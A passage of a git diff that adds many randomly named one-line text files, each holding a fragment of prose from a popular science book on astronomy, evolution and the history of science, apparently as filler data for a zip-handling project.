+interstellar spaceship. Radio telescopes generate, in narrow frequency ranges, signals so
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sipepnbn.txt b/big_zip/big-zip-files/sipepnbn.txt
new file mode 100644
index 0000000..519116b
--- /dev/null
+++ b/big_zip/big-zip-files/sipepnbn.txt
@@ -0,0 +1 @@
+of the Earth not covered by water looked rather like Mars today - with an atmosphere rich
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sivybvtnkehpbhwwnejbw.txt b/big_zip/big-zip-files/sivybvtnkehpbhwwnejbw.txt
new file mode 100644
index 0000000..a182b1b
--- /dev/null
+++ b/big_zip/big-zip-files/sivybvtnkehpbhwwnejbw.txt
@@ -0,0 +1 @@
+a wooden handle and make an ax. With the ax we strike plants and animals. Other rocks
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sjficysli.txt b/big_zip/big-zip-files/sjficysli.txt
new file mode 100644
index 0000000..85960be
--- /dev/null
+++ b/big_zip/big-zip-files/sjficysli.txt
@@ -0,0 +1 @@
+moved to dry land, where they evolved into other animals by the transmutation of one form
\ No newline at end of file
diff --git a/big_zip/big-zip-files/slojtjbfdysd.txt b/big_zip/big-zip-files/slojtjbfdysd.txt
new file mode 100644
index 0000000..90be44b
--- /dev/null
+++ b/big_zip/big-zip-files/slojtjbfdysd.txt
@@ -0,0 +1 @@
+remained until 1835.* Martin Luther described him as ‘an upstart astrologer . . . This foolwishes to reverse the entire science of astronomy. But Sacred Scripture tells us that Joshua
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sluhtjgoc.txt b/big_zip/big-zip-files/sluhtjgoc.txt
new file mode 100644
index 0000000..cbeafde
--- /dev/null
+++ b/big_zip/big-zip-files/sluhtjgoc.txt
@@ -0,0 +1 @@
+modern astronomical ideas.* Very likely, the universe has been expanding since the Big
\ No newline at end of file
diff --git a/big_zip/big-zip-files/slzekiyxembkvrwjjzfwkmnm.txt b/big_zip/big-zip-files/slzekiyxembkvrwjjzfwkmnm.txt
new file mode 100644
index 0000000..7cf0c55
--- /dev/null
+++ b/big_zip/big-zip-files/slzekiyxembkvrwjjzfwkmnm.txt
@@ -0,0 +1 @@
+same code book for translating nucleic acid information into protein information, as do
\ No newline at end of file
diff --git a/big_zip/big-zip-files/smutqylynapqbrh.txt b/big_zip/big-zip-files/smutqylynapqbrh.txt
new file mode 100644
index 0000000..92210a5
--- /dev/null
+++ b/big_zip/big-zip-files/smutqylynapqbrh.txt
@@ -0,0 +1 @@
+‘Because it’s totally covered with clouds.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/smytockhnqouaezwtxbxq.txt b/big_zip/big-zip-files/smytockhnqouaezwtxbxq.txt
new file mode 100644
index 0000000..2a3e310
--- /dev/null
+++ b/big_zip/big-zip-files/smytockhnqouaezwtxbxq.txt
@@ -0,0 +1 @@
+No, said Democritus. The slope of the cone forces one side of the slice to have a slightly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/snkwhnfbmmeljmhea.txt b/big_zip/big-zip-files/snkwhnfbmmeljmhea.txt
new file mode 100644
index 0000000..ab279c4
--- /dev/null
+++ b/big_zip/big-zip-files/snkwhnfbmmeljmhea.txt
@@ -0,0 +1 @@
+traveling close to the speed of light. If you are standing down the road, the cart is traveling
\ No newline at end of file
diff --git a/big_zip/big-zip-files/snqnlfaufzgdph.txt b/big_zip/big-zip-files/snqnlfaufzgdph.txt
new file mode 100644
index 0000000..6de8f77
--- /dev/null
+++ b/big_zip/big-zip-files/snqnlfaufzgdph.txt
@@ -0,0 +1 @@
+such plants could be bred, we might imagine them being seeded on the vast expanse of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/soykgsdkbbeoatuvb.txt b/big_zip/big-zip-files/soykgsdkbbeoatuvb.txt
new file mode 100644
index 0000000..7259ba9
--- /dev/null
+++ b/big_zip/big-zip-files/soykgsdkbbeoatuvb.txt
@@ -0,0 +1 @@
+the cosmic ocean.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/spviepnlpopjvwvlweuagy.txt b/big_zip/big-zip-files/spviepnlpopjvwvlweuagy.txt
new file mode 100644
index 0000000..3389f55
--- /dev/null
+++ b/big_zip/big-zip-files/spviepnlpopjvwvlweuagy.txt
@@ -0,0 +1 @@
+philosophy and religion, and most of all, a profound deprovincialization of the human
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ssmwjuiub.txt b/big_zip/big-zip-files/ssmwjuiub.txt
new file mode 100644
index 0000000..fd49a66
--- /dev/null
+++ b/big_zip/big-zip-files/ssmwjuiub.txt
@@ -0,0 +1 @@
+neutrons and electrons is a comparatively recent finding. The neutron was not discovered
\ No newline at end of file
diff --git a/big_zip/big-zip-files/suawuatubrfzbkl.txt b/big_zip/big-zip-files/suawuatubrfzbkl.txt
new file mode 100644
index 0000000..00367c4
--- /dev/null
+++ b/big_zip/big-zip-files/suawuatubrfzbkl.txt
@@ -0,0 +1 @@
+experiments, Vishniac believed that life was tenacious and that Antarctica was perfectly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/sujbuvpsfh.txt b/big_zip/big-zip-files/sujbuvpsfh.txt
new file mode 100644
index 0000000..9ed9a80
--- /dev/null
+++ b/big_zip/big-zip-files/sujbuvpsfh.txt
@@ -0,0 +1 @@
+Athens. Much later she married Zeus, the chief of the Olympian gods. They honeymooned
\ No newline at end of file
diff --git a/big_zip/big-zip-files/suroxbcbfjrwdchqls.txt b/big_zip/big-zip-files/suroxbcbfjrwdchqls.txt
new file mode 100644
index 0000000..00379ce
--- /dev/null
+++ b/big_zip/big-zip-files/suroxbcbfjrwdchqls.txt
@@ -0,0 +1 @@
+are talking about a quantity greater than any number, no matter how large.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/suxljebfmjnv.txt b/big_zip/big-zip-files/suxljebfmjnv.txt
new file mode 100644
index 0000000..1fcf438
--- /dev/null
+++ b/big_zip/big-zip-files/suxljebfmjnv.txt
@@ -0,0 +1 @@
+from the U.S. Mariner 9 mission that near-surface winds of more than 140 meters per
\ No newline at end of file
diff --git a/big_zip/big-zip-files/swgpdjpocr.txt b/big_zip/big-zip-files/swgpdjpocr.txt
new file mode 100644
index 0000000..25e9d4e
--- /dev/null
+++ b/big_zip/big-zip-files/swgpdjpocr.txt
@@ -0,0 +1 @@
+intelligent beings on distant worlds. Their songs may go unanswered because we have not the will to control
\ No newline at end of file
diff --git a/big_zip/big-zip-files/syiznwaqmxjeltnzrtvhfl.txt b/big_zip/big-zip-files/syiznwaqmxjeltnzrtvhfl.txt
new file mode 100644
index 0000000..17b4c4e
--- /dev/null
+++ b/big_zip/big-zip-files/syiznwaqmxjeltnzrtvhfl.txt
@@ -0,0 +1 @@
+around the Sun was widely accepted even by the ordinary people in Holland. Indeed, he
\ No newline at end of file
diff --git a/big_zip/big-zip-files/szcbxardrjyvtnyzn.txt b/big_zip/big-zip-files/szcbxardrjyvtnyzn.txt
new file mode 100644
index 0000000..4bfb127
--- /dev/null
+++ b/big_zip/big-zip-files/szcbxardrjyvtnyzn.txt
@@ -0,0 +1 @@
+of the nearest planet. Venus, it turns out, is broiling hot. There are no swamps, no oil fields,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/szhmvimlfn.txt b/big_zip/big-zip-files/szhmvimlfn.txt
new file mode 100644
index 0000000..88ecffb
--- /dev/null
+++ b/big_zip/big-zip-files/szhmvimlfn.txt
@@ -0,0 +1 @@
+then passes the information via a communications satellite in Earth orbit to Southern
\ No newline at end of file
diff --git a/big_zip/big-zip-files/taxogizsavngyqco.txt b/big_zip/big-zip-files/taxogizsavngyqco.txt
new file mode 100644
index 0000000..e755f29
--- /dev/null
+++ b/big_zip/big-zip-files/taxogizsavngyqco.txt
@@ -0,0 +1 @@
+Titan. It is merely possible. We are unlikely to determine the answer to this question
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tcekkbmo.txt b/big_zip/big-zip-files/tcekkbmo.txt
new file mode 100644
index 0000000..e1e8fee
--- /dev/null
+++ b/big_zip/big-zip-files/tcekkbmo.txt
@@ -0,0 +1 @@
+substances: water, air, earth and fire, an ancient Ionian speculation. By altering the relative
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tfpqclzsf.txt b/big_zip/big-zip-files/tfpqclzsf.txt
new file mode 100644
index 0000000..3f25215
--- /dev/null
+++ b/big_zip/big-zip-files/tfpqclzsf.txt
@@ -0,0 +1 @@
+* A few others had held similar opinions. In his Harmonice Mundi Kepler remarked ‘it was Tycho
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tgkvwlavybixabithy.txt b/big_zip/big-zip-files/tgkvwlavybixabithy.txt
new file mode 100644
index 0000000..f47b85e
--- /dev/null
+++ b/big_zip/big-zip-files/tgkvwlavybixabithy.txt
@@ -0,0 +1 @@
+WHETHER THERE IS LIFE ON MARS. The astronomer dutifully replied: NOBODY
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tlyyzuweiotaotmzznn.txt b/big_zip/big-zip-files/tlyyzuweiotaotmzznn.txt
new file mode 100644
index 0000000..1f99aca
--- /dev/null
+++ b/big_zip/big-zip-files/tlyyzuweiotaotmzznn.txt
@@ -0,0 +1 @@
+that, like the planets around the Sun following Kepler’s third law, the outer provinces rotate
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tmtekkrhdjseefxugjfy.txt b/big_zip/big-zip-files/tmtekkrhdjseefxugjfy.txt
new file mode 100644
index 0000000..41db673
--- /dev/null
+++ b/big_zip/big-zip-files/tmtekkrhdjseefxugjfy.txt
@@ -0,0 +1 @@
+million light-years from home.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tnnqytiydjkeofzrgdxthtu.txt b/big_zip/big-zip-files/tnnqytiydjkeofzrgdxthtu.txt
new file mode 100644
index 0000000..c8f34d0
--- /dev/null
+++ b/big_zip/big-zip-files/tnnqytiydjkeofzrgdxthtu.txt
@@ -0,0 +1 @@
+does not seem to be happening. Perhaps there is some major and as yet undiscovered
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tnxwqvnsdfwp.txt b/big_zip/big-zip-files/tnxwqvnsdfwp.txt
new file mode 100644
index 0000000..a7e63d1
--- /dev/null
+++ b/big_zip/big-zip-files/tnxwqvnsdfwp.txt
@@ -0,0 +1 @@
+comets - especially the long-period comets - that have dramatically elliptical orbits. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tnygdafzyr.txt b/big_zip/big-zip-files/tnygdafzyr.txt
new file mode 100644
index 0000000..d5e7499
--- /dev/null
+++ b/big_zip/big-zip-files/tnygdafzyr.txt
@@ -0,0 +1 @@
+different for elliptical orbits: As the planet moves along its orbit, it sweeps out a little
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tqasbpvyjs.txt b/big_zip/big-zip-files/tqasbpvyjs.txt
new file mode 100644
index 0000000..b91f6f0
--- /dev/null
+++ b/big_zip/big-zip-files/tqasbpvyjs.txt
@@ -0,0 +1 @@
+seafaring peoples.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/trkmqvbvtqnlxm.txt b/big_zip/big-zip-files/trkmqvbvtqnlxm.txt
new file mode 100644
index 0000000..3cb0584
--- /dev/null
+++ b/big_zip/big-zip-files/trkmqvbvtqnlxm.txt
@@ -0,0 +1 @@
+encounter the impenetrable atoms, and the apple could not be cut. Having cut a slice from a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ttbvtrsgl.txt b/big_zip/big-zip-files/ttbvtrsgl.txt
new file mode 100644
index 0000000..c4d33c7
--- /dev/null
+++ b/big_zip/big-zip-files/ttbvtrsgl.txt
@@ -0,0 +1 @@
+the Aztec god Quetzalcoatl as a white-skinned man arriving across the Eastern sea,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/twckbwwhhpygafpv.txt b/big_zip/big-zip-files/twckbwwhhpygafpv.txt
new file mode 100644
index 0000000..be03377
--- /dev/null
+++ b/big_zip/big-zip-files/twckbwwhhpygafpv.txt
@@ -0,0 +1 @@
+the existence of a nuclear fusion reactor - something much safer as well as more efficient
\ No newline at end of file
diff --git a/big_zip/big-zip-files/twmrrusiqrzpgm.txt b/big_zip/big-zip-files/twmrrusiqrzpgm.txt
new file mode 100644
index 0000000..facaa22
--- /dev/null
+++ b/big_zip/big-zip-files/twmrrusiqrzpgm.txt
@@ -0,0 +1 @@
+classical texts were a source of great excitement in Italian universities when Copernicus went to medical
\ No newline at end of file
diff --git a/big_zip/big-zip-files/txfgqnphofpo.txt b/big_zip/big-zip-files/txfgqnphofpo.txt
new file mode 100644
index 0000000..d0cb413
--- /dev/null
+++ b/big_zip/big-zip-files/txfgqnphofpo.txt
@@ -0,0 +1 @@
+compare these Systems [of Jupiter and Saturn] together, without being amazed at the vast Magnitude and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/txfhoypzpz.txt b/big_zip/big-zip-files/txfhoypzpz.txt
new file mode 100644
index 0000000..98b08ec
--- /dev/null
+++ b/big_zip/big-zip-files/txfhoypzpz.txt
@@ -0,0 +1 @@
+would make sense on a flat Earth: the Sun’s rays would then be inclined at the same angle
\ No newline at end of file
diff --git a/big_zip/big-zip-files/txtahhgfzib.txt b/big_zip/big-zip-files/txtahhgfzib.txt
new file mode 100644
index 0000000..ea57a18
--- /dev/null
+++ b/big_zip/big-zip-files/txtahhgfzib.txt
@@ -0,0 +1 @@
+fly into murderous rages simultaneously for a major war to be mustered. Because the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/tzivpxzkrpun.txt b/big_zip/big-zip-files/tzivpxzkrpun.txt
new file mode 100644
index 0000000..d25662d
--- /dev/null
+++ b/big_zip/big-zip-files/tzivpxzkrpun.txt
@@ -0,0 +1 @@
+suitable for life in a given planetary system. But conservatively we choose n e = 2. Then the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ubcrgcwryxqt.txt b/big_zip/big-zip-files/ubcrgcwryxqt.txt
new file mode 100644
index 0000000..34ac1a5
--- /dev/null
+++ b/big_zip/big-zip-files/ubcrgcwryxqt.txt
@@ -0,0 +1 @@
+if from gun-fire. My horse fell to its knees. From the north side above the forest a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ubtcdqfaaqglwugouehfjyo.txt b/big_zip/big-zip-files/ubtcdqfaaqglwugouehfjyo.txt
new file mode 100644
index 0000000..a9298fc
--- /dev/null
+++ b/big_zip/big-zip-files/ubtcdqfaaqglwugouehfjyo.txt
@@ -0,0 +1 @@
+in the west, it always rises again the next morning in the east. And so it becomes possible to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/udwmyvjwnzljb.txt b/big_zip/big-zip-files/udwmyvjwnzljb.txt
new file mode 100644
index 0000000..2a9e341
--- /dev/null
+++ b/big_zip/big-zip-files/udwmyvjwnzljb.txt
@@ -0,0 +1 @@
+the square root of two (the ratio of the diagonal to the side of a square) was irrational, that it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uejxiiqealpqmmunofjgcl.txt b/big_zip/big-zip-files/uejxiiqealpqmmunofjgcl.txt
new file mode 100644
index 0000000..43f2dcb
--- /dev/null
+++ b/big_zip/big-zip-files/uejxiiqealpqmmunofjgcl.txt
@@ -0,0 +1 @@
+of voracious reptiles. We diversified exuberantly and flourished. Twenty million years ago,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ugnbaaznfllmocsnhftbcpw.txt b/big_zip/big-zip-files/ugnbaaznfllmocsnhftbcpw.txt
new file mode 100644
index 0000000..f65e18d
--- /dev/null
+++ b/big_zip/big-zip-files/ugnbaaznfllmocsnhftbcpw.txt
@@ -0,0 +1 @@
+today we might say the same of electrons, protons and neutrons, or of quarks. Whether
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uhovkokybcizvlbzgzvyngjg.txt b/big_zip/big-zip-files/uhovkokybcizvlbzgzvyngjg.txt
new file mode 100644
index 0000000..22adb39
--- /dev/null
+++ b/big_zip/big-zip-files/uhovkokybcizvlbzgzvyngjg.txt
@@ -0,0 +1 @@
+or about a hundred times longer than the Old Testament chronology. I wonder what was in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uimgkfjlmbdmjoyeoe.txt b/big_zip/big-zip-files/uimgkfjlmbdmjoyeoe.txt
new file mode 100644
index 0000000..f43b2ed
--- /dev/null
+++ b/big_zip/big-zip-files/uimgkfjlmbdmjoyeoe.txt
@@ -0,0 +1 @@
+culture was preliterate, we might well expect to have some recognizable form of the encounter preserved. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ukftcegwwlbuvaqxflpxt.txt b/big_zip/big-zip-files/ukftcegwwlbuvaqxflpxt.txt
new file mode 100644
index 0000000..3f19f14
--- /dev/null
+++ b/big_zip/big-zip-files/ukftcegwwlbuvaqxflpxt.txt
@@ -0,0 +1 @@
+depends only on the number of electrons, which equals the number of protons, and which is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ulwyjnmxenuyyoyrqasc.txt b/big_zip/big-zip-files/ulwyjnmxenuyyoyrqasc.txt
new file mode 100644
index 0000000..351499b
--- /dev/null
+++ b/big_zip/big-zip-files/ulwyjnmxenuyyoyrqasc.txt
@@ -0,0 +1 @@
+the brilliance of their local suns. But we are becoming able to detect the gravitational
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ulztgogf.txt b/big_zip/big-zip-files/ulztgogf.txt
new file mode 100644
index 0000000..5a242d2
--- /dev/null
+++ b/big_zip/big-zip-files/ulztgogf.txt
@@ -0,0 +1 @@
+supernova whose light should have reached the Earth in the seventeenth century, when
\ No newline at end of file
diff --git a/big_zip/big-zip-files/umcndevrkoatueif.txt b/big_zip/big-zip-files/umcndevrkoatueif.txt
new file mode 100644
index 0000000..d86ed62
--- /dev/null
+++ b/big_zip/big-zip-files/umcndevrkoatueif.txt
@@ -0,0 +1 @@
+* Or if you like to measure things in miles, the distance between Alexandria and Syene is about 500
\ No newline at end of file
diff --git a/big_zip/big-zip-files/umsjksiqphtdkdddydujzl.txt b/big_zip/big-zip-files/umsjksiqphtdkdddydujzl.txt
new file mode 100644
index 0000000..ad2b1b7
--- /dev/null
+++ b/big_zip/big-zip-files/umsjksiqphtdkdddydujzl.txt
@@ -0,0 +1 @@
+The Sphinx, half human, half lion, was constructed more than 5,500 years ago. Its
\ No newline at end of file
diff --git a/big_zip/big-zip-files/umxyzvbz.txt b/big_zip/big-zip-files/umxyzvbz.txt
new file mode 100644
index 0000000..acbbf20
--- /dev/null
+++ b/big_zip/big-zip-files/umxyzvbz.txt
@@ -0,0 +1 @@
+Over a period of years something seemed to be changing on it, in infrared light and perhaps
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uqjhptjazwevtfqafvu.txt b/big_zip/big-zip-files/uqjhptjazwevtfqafvu.txt
new file mode 100644
index 0000000..bb41c9e
--- /dev/null
+++ b/big_zip/big-zip-files/uqjhptjazwevtfqafvu.txt
@@ -0,0 +1 @@
+twinkling point of light. How far away would you have to move it? I was innocent of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ureanadwankljtbpocp.txt b/big_zip/big-zip-files/ureanadwankljtbpocp.txt
new file mode 100644
index 0000000..ece385f
--- /dev/null
+++ b/big_zip/big-zip-files/ureanadwankljtbpocp.txt
@@ -0,0 +1 @@
+Tycho’s observations of the apparent motion of Mars and other planets through the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/utrkamzhdhpuackij.txt b/big_zip/big-zip-files/utrkamzhdhpuackij.txt
new file mode 100644
index 0000000..8a38d5a
--- /dev/null
+++ b/big_zip/big-zip-files/utrkamzhdhpuackij.txt
@@ -0,0 +1 @@
+one or more small planetary companions. It is perhaps conceivable that a planet could
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uvinhafvwaldnoxsgz.txt b/big_zip/big-zip-files/uvinhafvwaldnoxsgz.txt
new file mode 100644
index 0000000..40e893a
--- /dev/null
+++ b/big_zip/big-zip-files/uvinhafvwaldnoxsgz.txt
@@ -0,0 +1 @@
+A polio virus is a tiny microorganmism. We encounter many of them every day. But
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uvofvqukcuxmlotxoqussduf.txt b/big_zip/big-zip-files/uvofvqukcuxmlotxoqussduf.txt
new file mode 100644
index 0000000..aa62b58
--- /dev/null
+++ b/big_zip/big-zip-files/uvofvqukcuxmlotxoqussduf.txt
@@ -0,0 +1 @@
+nature, through which the world could be understood without attributing the fall of every
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uvwgibrtjpqa.txt b/big_zip/big-zip-files/uvwgibrtjpqa.txt
new file mode 100644
index 0000000..8b440fd
--- /dev/null
+++ b/big_zip/big-zip-files/uvwgibrtjpqa.txt
@@ -0,0 +1 @@
+natures; between the deep, ancient reptilian part of the brain, the R-complex, in charge of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uvyjfdislejpn.txt b/big_zip/big-zip-files/uvyjfdislejpn.txt
new file mode 100644
index 0000000..d443e07
--- /dev/null
+++ b/big_zip/big-zip-files/uvyjfdislejpn.txt
@@ -0,0 +1 @@
+bacterium. There is nothing demeaning in these comparisons. It took nature hundreds of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uwfsfmosmfezhqfeq.txt b/big_zip/big-zip-files/uwfsfmosmfezhqfeq.txt
new file mode 100644
index 0000000..fb6d38a
--- /dev/null
+++ b/big_zip/big-zip-files/uwfsfmosmfezhqfeq.txt
@@ -0,0 +1 @@
+plants and tree limbs and even whole trees, if you let it. It is strong. But it is not very smart.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uxredxjgfxeurzewa.txt b/big_zip/big-zip-files/uxredxjgfxeurzewa.txt
new file mode 100644
index 0000000..d51947f
--- /dev/null
+++ b/big_zip/big-zip-files/uxredxjgfxeurzewa.txt
@@ -0,0 +1 @@
+a steady atmosphere through which the shimmering of an astronomical image in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uynkcgxxxluchbxadr.txt b/big_zip/big-zip-files/uynkcgxxxluchbxadr.txt
new file mode 100644
index 0000000..e10d2b9
--- /dev/null
+++ b/big_zip/big-zip-files/uynkcgxxxluchbxadr.txt
@@ -0,0 +1 @@
+themselves to oblateness. Most shine mainly in visible and infrared light; others are also
\ No newline at end of file
diff --git a/big_zip/big-zip-files/uzzrpnwcaceghqhxqjz.txt b/big_zip/big-zip-files/uzzrpnwcaceghqhxqjz.txt
new file mode 100644
index 0000000..23ba25a
--- /dev/null
+++ b/big_zip/big-zip-files/uzzrpnwcaceghqhxqjz.txt
@@ -0,0 +1 @@
+Martian year. Since the Viking biology experiments were strongly oriented toward
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vayqcbxtisxxzg.txt b/big_zip/big-zip-files/vayqcbxtisxxzg.txt
new file mode 100644
index 0000000..c8d530e
--- /dev/null
+++ b/big_zip/big-zip-files/vayqcbxtisxxzg.txt
@@ -0,0 +1 @@
+The bigger asteroidal pieces, along with the comets, are mainly responsible for the recentcraters on planetary surfaces. The asteroid belt may be a place where a planet was once
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vdnjwfmgmhiagflvedwmrk.txt b/big_zip/big-zip-files/vdnjwfmgmhiagflvedwmrk.txt
new file mode 100644
index 0000000..3206e6c
--- /dev/null
+++ b/big_zip/big-zip-files/vdnjwfmgmhiagflvedwmrk.txt
@@ -0,0 +1 @@
+faster when close to the Sun - the gravity it feels is weaker the farther from the Sun it is.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/veizfqtosbxqzgc.txt b/big_zip/big-zip-files/veizfqtosbxqzgc.txt
new file mode 100644
index 0000000..4fc3991
--- /dev/null
+++ b/big_zip/big-zip-files/veizfqtosbxqzgc.txt
@@ -0,0 +1 @@
+But for the Enterprise of the Indies to work, for ships and crews to survive the long voyage,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/veudvsrupby.txt b/big_zip/big-zip-files/veudvsrupby.txt
new file mode 100644
index 0000000..ad5ce73
--- /dev/null
+++ b/big_zip/big-zip-files/veudvsrupby.txt
@@ -0,0 +1 @@
+rotate on its axis once a day and orbit the Sun once a year.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/veztswiqivylkwqsmxyd.txt b/big_zip/big-zip-files/veztswiqivylkwqsmxyd.txt
new file mode 100644
index 0000000..744529b
--- /dev/null
+++ b/big_zip/big-zip-files/veztswiqivylkwqsmxyd.txt
@@ -0,0 +1 @@
+because of lack of funds - including roving vehicles to wander across the surface of Mars, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vjlibysujuvorpddlcu.txt b/big_zip/big-zip-files/vjlibysujuvorpddlcu.txt
new file mode 100644
index 0000000..5279e3d
--- /dev/null
+++ b/big_zip/big-zip-files/vjlibysujuvorpddlcu.txt
@@ -0,0 +1 @@
+Imagine a universe just like Flatland, except that unbeknownst to the inhabitants,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vjlsigcmfcisph.txt b/big_zip/big-zip-files/vjlsigcmfcisph.txt
new file mode 100644
index 0000000..a4e76a3
--- /dev/null
+++ b/big_zip/big-zip-files/vjlsigcmfcisph.txt
@@ -0,0 +1 @@
+the like - would prove unnecessary. Quasars need not then be very distant. But some other
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vlbwpmlwctvxwjwdmlwq.txt b/big_zip/big-zip-files/vlbwpmlwctvxwjwdmlwq.txt
new file mode 100644
index 0000000..8d13a4f
--- /dev/null
+++ b/big_zip/big-zip-files/vlbwpmlwctvxwjwdmlwq.txt
@@ -0,0 +1 @@
+believed that only uniform circular motion was admissible. He repeatedly found the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vmcscwvsvvpcbzp.txt b/big_zip/big-zip-files/vmcscwvsvvpcbzp.txt
new file mode 100644
index 0000000..a52bcfb
--- /dev/null
+++ b/big_zip/big-zip-files/vmcscwvsvvpcbzp.txt
@@ -0,0 +1 @@
+society. In the last two centuries, abject slavery, with us for thousands of years or more, has
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vpepzgfoyasata.txt b/big_zip/big-zip-files/vpepzgfoyasata.txt
new file mode 100644
index 0000000..1359f04
--- /dev/null
+++ b/big_zip/big-zip-files/vpepzgfoyasata.txt
@@ -0,0 +1 @@
+Biology is more like history than it is like physics. You have to know the past to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vsfkuawutriobuwwy.txt b/big_zip/big-zip-files/vsfkuawutriobuwwy.txt
new file mode 100644
index 0000000..27ecb50
--- /dev/null
+++ b/big_zip/big-zip-files/vsfkuawutriobuwwy.txt
@@ -0,0 +1 @@
+something displeased the gods - and sometimes it took very little - the consequences were
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vvcosswcazsiosvddss.txt b/big_zip/big-zip-files/vvcosswcazsiosvddss.txt
new file mode 100644
index 0000000..9068d36
--- /dev/null
+++ b/big_zip/big-zip-files/vvcosswcazsiosvddss.txt
@@ -0,0 +1 @@
+cosmic catastrophe, the explosion of a nearby star - a supernova like the one that produced
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vvsfixcfpuvbrd.txt b/big_zip/big-zip-files/vvsfixcfpuvbrd.txt
new file mode 100644
index 0000000..43fb6a5
--- /dev/null
+++ b/big_zip/big-zip-files/vvsfixcfpuvbrd.txt
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+semi-intelligent robots exploring unknown worlds. Voyages to the outer solar system are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vvsldkyvnshpgosv.txt b/big_zip/big-zip-files/vvsldkyvnshpgosv.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/vvsldkyvnshpgosv.txt
@@ -0,0 +1 @@
+number of corners or vertices V of a regular solid:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vxlkusqrjhjs.txt b/big_zip/big-zip-files/vxlkusqrjhjs.txt
new file mode 100644
index 0000000..05ffcd9
--- /dev/null
+++ b/big_zip/big-zip-files/vxlkusqrjhjs.txt
@@ -0,0 +1 @@
+beneath the Earth - a gold mine, say, or a lava tube, a cave carved through the Earth by a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/vzrhsvjknnfbvnzmjbpciuak.txt b/big_zip/big-zip-files/vzrhsvjknnfbvnzmjbpciuak.txt
new file mode 100644
index 0000000..6fcddef
--- /dev/null
+++ b/big_zip/big-zip-files/vzrhsvjknnfbvnzmjbpciuak.txt
@@ -0,0 +1 @@
+just a human face, not just a Japanese face, but the visage of a fierce and scowling samurai.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wafgtynhxbkjxnss.txt b/big_zip/big-zip-files/wafgtynhxbkjxnss.txt
new file mode 100644
index 0000000..c66de3d
--- /dev/null
+++ b/big_zip/big-zip-files/wafgtynhxbkjxnss.txt
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+the Tlingit in the generations after La Pérouse. We remember and we worry. But if an
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wawmxytelorkvhfiowdenj.txt b/big_zip/big-zip-files/wawmxytelorkvhfiowdenj.txt
new file mode 100644
index 0000000..a8bb2a4
--- /dev/null
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@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/wbmqkutyigfrh.txt b/big_zip/big-zip-files/wbmqkutyigfrh.txt
new file mode 100644
index 0000000..ee577c2
--- /dev/null
+++ b/big_zip/big-zip-files/wbmqkutyigfrh.txt
@@ -0,0 +1 @@
+India and sub-Saharan Africa - everyone, except the vast slave population - lived together
\ No newline at end of file
diff --git a/big_zip/big-zip-files/wccymzfvediiuimha.txt b/big_zip/big-zip-files/wccymzfvediiuimha.txt
new file mode 100644
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--- /dev/null
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diff --git a/big_zip/big-zip-files/wgxqmvdqldjpxne.txt b/big_zip/big-zip-files/wgxqmvdqldjpxne.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/wgxqmvdqldjpxne.txt
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+last happen by chance that there would come a salad.” “Yes,” responded my lovely, “but not so nice as this
